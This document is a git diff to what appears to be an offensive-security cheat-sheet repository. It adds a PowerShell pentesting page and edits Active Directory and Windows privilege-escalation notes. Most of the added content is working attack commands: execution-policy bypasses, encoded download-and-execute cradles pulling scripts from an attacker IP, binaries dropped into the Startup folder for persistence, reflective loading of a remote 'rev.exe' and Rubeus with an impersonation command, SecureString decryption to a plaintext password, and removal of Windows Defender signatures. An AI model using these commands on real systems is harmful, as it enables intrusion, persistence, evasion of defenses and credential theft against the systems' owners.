diff --git a/Methodology and Resources/Active Directory Attack.md b/Methodology and Resources/Active Directory Attack.md
index 24a322f..8834da2 100644
--- a/Methodology and Resources/Active Directory Attack.md	
+++ b/Methodology and Resources/Active Directory Attack.md	
@@ -1448,7 +1448,7 @@ Interesting services to target with a silver ticket :
 | Service Type                                | Service Silver Tickets | Attack |
 |---------------------------------------------|------------------------|--------|
 | WMI                                         | HOST + RPCSS           | `wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"`     |
-| PowerShell Remoting                         | HTTP + wsman           | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
+| PowerShell Remoting                         | CIFS + HTTP + (wsman?) | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
 | WinRM                                       | HTTP + wsman           | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
 | Scheduled Tasks                             | HOST                   | `schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"` |
 | Windows File Share (CIFS)                   | CIFS                   | `dir \\dc01\c$` |
diff --git a/Methodology and Resources/Powershell - Cheatsheet.md b/Methodology and Resources/Powershell - Cheatsheet.md
new file mode 100644
index 0000000..9d64f1f
--- /dev/null
+++ b/Methodology and Resources/Powershell - Cheatsheet.md	
@@ -0,0 +1,110 @@
+# Powershell
+
+## Summary
+
+* Execution Policy
+* Encoded Commands
+* Download file
+* Load Powershell scripts
+* Load C# assembly reflectively
+* Secure String to Plaintext
+* References
+
+## Execution Policy
+
+```ps1
+powershell -EncodedCommand $encodedCommand
+powershell -ep bypass ./PowerView.ps1
+
+# Change execution policy
+Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
+Set-ExecutionPolicy Bypass -Scope Process
+```
+
+## Constrained Mode
+
+```ps1
+# Check if we are in a constrained mode
+# Values could be: FullLanguage or ConstrainedLanguage
+$ExecutionContext.SessionState.LanguageMode
+
+## Bypass
+powershell -version 2
+```
+
+## Encoded Commands
+
+* Windows
+    ```ps1
+    $command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
+    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
+    $encodedCommand = [Convert]::ToBase64String($bytes)
+    ```
+* Linux: :warning: UTF-16LE encoding is required
+    ```ps1
+    echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0
+    ```
+
+## Download file
+
+```ps1
+# Any version
+(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1")
+wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
+Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output
+
+# Powershell 4+
+IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
+Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
+```
+
+## Load Powershell scripts
+
+```ps1
+# Proxy-aware
+IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
+echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile -
+powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex"
+
+# Non-proxy aware
+$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText
+```
+
+## Load C# assembly reflectively
+
+```powershell
+# Download and run assembly without arguments
+$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
+$assem = [System.Reflection.Assembly]::Load($data)
+[rev.Program]::Main()
+
+# Download and run Rubeus, with arguments (make sure to split the args)
+$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
+$assem = [System.Reflection.Assembly]::Load($data)
+[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
+
+# Execute a specific method from an assembly (e.g. a DLL)
+$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
+$assem = [System.Reflection.Assembly]::Load($data)
+$class = $assem.GetType("ClassLibrary1.Class1")
+$method = $class.GetMethod("runner")
+$method.Invoke(0, $null)
+```
+
+## Secure String to Plaintext
+
+```ps1
+$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
+$user = "HTB\Tom"
+$cred = New-Object System.management.Automation.PSCredential($user, $pass)
+$cred.GetNetworkCredential() | fl
+UserName       : Tom
+Password       : 1ts-mag1c!!!
+SecurePassword : System.Security.SecureString
+Domain         : HTB
+```
+
+## References
+
+* [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/)
+* [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters)
\ No newline at end of file
diff --git a/Methodology and Resources/Windows - Privilege Escalation.md b/Methodology and Resources/Windows - Privilege Escalation.md
index 52057a2..c67f48e 100644
--- a/Methodology and Resources/Windows - Privilege Escalation.md	
+++ b/Methodology and Resources/Windows - Privilege Escalation.md	
@@ -274,7 +274,8 @@ PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
 PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
 
 # remove signatures (if Internet connection is present, they will be downloaded again):
-PS > "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
+PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
+PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
 ```
 
 ### Firewall